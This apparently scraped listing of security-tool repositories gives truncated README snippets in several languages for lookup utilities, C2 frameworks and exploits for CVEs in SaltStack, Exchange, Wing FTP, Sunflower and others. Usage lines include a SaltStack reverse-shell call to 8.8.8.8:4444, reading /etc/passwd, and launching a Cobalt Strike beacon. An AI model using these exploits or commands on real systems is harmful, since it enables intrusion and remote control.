rdap

OpenRDAP es una implementación en Go de un cliente de línea de comandos RDAP. https://www.openrdap.org - página principal https://www.openrdap.org/demo - demo en vivo Características Cliente RDAP de línea de comandos Formatos de salida: texto, JSON, estilo WHOIS Tipos de consulta admitidos: ip...

ip-finder-cli

IPFinder CLI Command Line Interface https://ipfinder.io/ Supports Single IP Address, asn, ranges, firewall as Input Supports Bulk Exports Results to Screen or to An Output File Supports IPv4 and IPv6 Supports ASN number , RANGES , Firewall Getting Started sign up for a free account at...

ip-finder-cli

IPFinder CLI Interfaz de Línea de Comandos https://ipfinder.io/ Soporta dirección IP única, ASN, rangos, firewall como entrada Soporta lote Exporta resultados a pantalla o a un archivo de salida Soporta IPv4 e IPv6 Soporta número ASN, RANGOS, Firewall Primeros Pasos regístrate para obtener una...

CVE-2020-0787

CVE-2020-0787（named pipe） It's Just A Demo,Do not use in real. -Get result for Command executionUse cmd /c： exp.exe "cmd /c whoami \\.\pipe\showme " show -Run beacon.exe： exp.exe "C:/beacon.exe" For CobaltStrike It's better one than current project:...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902：BIG-IP 版本 15.0.0 至 15.1.0.3、14.1.0 至 14.1.2.5、13.1.0 至 13.1.3.3、12.1.0 至 12.1.5.1 以及 11.6.1 至 11.6.5.1 存在流量管理用户界面（TMUI）任意文件读取和命令执行漏洞。 + Autor: MrCl0wn + Blog: http://blog.mrcl0wn.com + GitHub: https://github.com/MrCl0wnLab + Twitter:...

CVE-2019-3980

CVE-2019-3980 Este repositorio fue creado para utilizar el PoC de Nessus con un ejecutable personalizado en C para ejecutar comandos en un host remoto y obtener la salida del comando. El archivo Python se utiliza para iniciar un servidor web, ejecutar el exploit y luego obtener los resultados a...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Módulo de Metasploit Módulo de Metasploit de inyección de comandos del sistema operativo en InfoBlox Network Automation Producto: Network Automation NetMRI Switch Port Manager Automation Change Manager Security Device Controller Proveedor: InfoBlox Versiones vulnerables:...

IOCScraper

IOC Scraper IOC Scraper utilises IOCPARSER service to fetch IOCs from different vendor Blogs, PDFs, and CSV files. Parsing IOCs is time-consuming process, using current script one can automatically extract and aggregate IOCs easily. Features Defanged IOCs : Supports extracting and defanging IOCs...

Interlace

Interlace 轻松将单线程命令行应用程序转换为支持CIDR和通配符的快速多线程应用程序。 评测/使用指南 Interlace: 无需编码即可轻松自动化和多线程渗透测试及漏洞赏金工作流的工具 目录 安装 用法 - 参数 使用示例 端口标记说明 目标标记说明 为不支持线程的应用程序添加线程支持 为不支持CIDR表示法的应用程序添加CIDR支持 为不支持通配符表示法的应用程序添加GLOB支持 为不支持多代理的应用程序添加多代理支持 变量替换 高级命令文件用法 高级用法：拦截器 高级用法：块 排除 安装 使用以下命令安装： $ python3 setup.py install...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

tko-subs

tko-subs This tool allows: To check whether a subdomain can be taken over because it has: a dangling CNAME pointing to a CMS provider Heroku, Github, Shopify, Amazon S3, Amazon CloudFront, etc. that can be taken over. a dangling CNAME pointing to a non-existent domain name one or more wrong/typoe...

cve-2020-0688

cve-2020-0688 使用方法： usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help 显示此帮助信息并退出 -s SERVER, --server SERVER ECP 服务器 URL 示例：http://ip/owa -u USER, --user USER 登录账户示例：domain\user -p PASSWORD, --password PASSWORD 密码 -c CMD, --cmd CMD 要执行的命令 示例： python...

sunflower_exp

CVE-2022-10270 影响版本： 向日葵个人版 Windows --thread 扫描时的线程数 默认线程数为100 --help 帮助 sunflowerpocexp.py 漏洞验证及扫描工具 端口探测： eg：python sunflowerpocexp.py --scan --ip --port --thread 参数需使用者指定 python sunflowerpocexp.py --scan 均使用默认参数 --scan 扫描参数 --ip 需要扫描的ip地址 默认扫描ip地址为：127.0.0.1 --port 需要扫描的端口列表 默认扫描端口为：...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ Uso Simple Usa este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: git clone cd Project use python...

C3

C3 Build C3 MSVC/badge.svg?branch=master Build C3 Clang/badge.svg?branch=master C3 Custom Command and Control es una herramienta que permite a los Red Teams desarrollar y utilizar rápidamente canales de comando y control C2 esotéricos. Es un framework que extiende otras herramientas de red team,...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

CVE-2022-4616-POC

CVE-2022-46169 Pseudo Shell Descripción Este script de Python sirve como una herramienta auxiliar para agilizar el proceso de explotación de la vulnerabilidad CVE-2022-46169. Inicia un servidor HTTP que escucha peticiones entrantes y proporciona una interfaz simple para que el usuario introduzca...

venom

Venom C2 Venom C2 es un framework de Comando y Control en Python3 sin dependencias para la persistencia del equipo rojo, diseñado para ejecutarse en sistemas sin instalar paquetes. Se compone de un servidor de equipo Flask, una GUI de operador Electron y un agente Python de un solo archivo que se...

CVE-2020-2034-POC

CVE-2020-2034-POC 确定Palo Alto网络防火墙Global Protect Portal上运行的版本 最近Palo Alto Networks发布了许多关键漏洞，详见： https://security.paloaltonetworks.com/?severity=CRITICAL&product=PAN-OS&sort=-date 这是一个PoC，通过检查favicon和login.esp的curl扫描中的etag，来确定防火墙使用的版本。 参考： CWE-78影响： https://cwe.mitre.org/data/definitions/78 来自The...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Exploit RCE para Wing FTP Server Este repositorio proporciona un exploit de prueba de concepto para CVE-2025-47812 , una vulnerabilidad de ejecución remota de comandos RCE en Wing FTP Server. Un atacante puede inyectar y ejecutar comandos arbitrarios del sistema basados en Lua...